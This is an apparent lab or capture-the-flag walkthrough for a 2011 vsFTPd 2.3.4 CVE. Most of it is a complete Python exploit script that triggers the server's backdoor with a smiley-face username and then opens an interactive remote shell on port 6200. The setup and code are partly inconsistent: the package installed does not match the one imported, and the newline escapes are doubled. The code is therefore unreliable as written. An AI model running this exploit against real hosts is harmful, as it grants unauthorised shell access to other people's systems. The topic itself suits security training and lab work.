This one is super fun. Realistically, given a CVE like this, especially considering it is dated 2011, you are looking for a PoC (Proof of Concept) exploit script that someone else has created.

ExploitDB is going to have something pretty close to what you see below:

• Note: The library telnetlib may need to be replaced by telnetlib3

python3 -m venv venv
source venv/bin/activate
pip3 install telnetlib2
# You may need to install telnetlib and change the import below if you are using an older version of Python

<https://www.exploit-db.com/exploits/49757>

testcve.py

#!/usr/bin/python3

from telnetlib3 import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
parser.add_argument("--port", help="input the port of the vulnerable host", type=int, default=21)
args = parser.parse_args()
host = args.host
portFTP = args.port

user="USER nergal:)"
password="PASS pass"

print(f"Connecting to {host}:{portFTP}")

tn=Telnet(host, portFTP)
try:
    tn.read_until(b"(vsFTPd 2.3.4)", timeout=5)
except:
    pass # Continue anyway mostly

tn.write(user.encode('ascii') + b"\\n")
try:
    tn.read_until(b"password.", timeout=5)
except:
    pass

tn.write(password.encode('ascii') + b"\\n")

# Connect to backdoor port
print("Attempting to connect to backdoor on port 6200...")
try:
    tn2=Telnet(host, 6200)
    print('Success, shell opened')
    print('Send `CTRL-C` to quit shell')
    tn2.interact()
except Exception as e:
    print(f"Failed to connect to backdoor: {e}")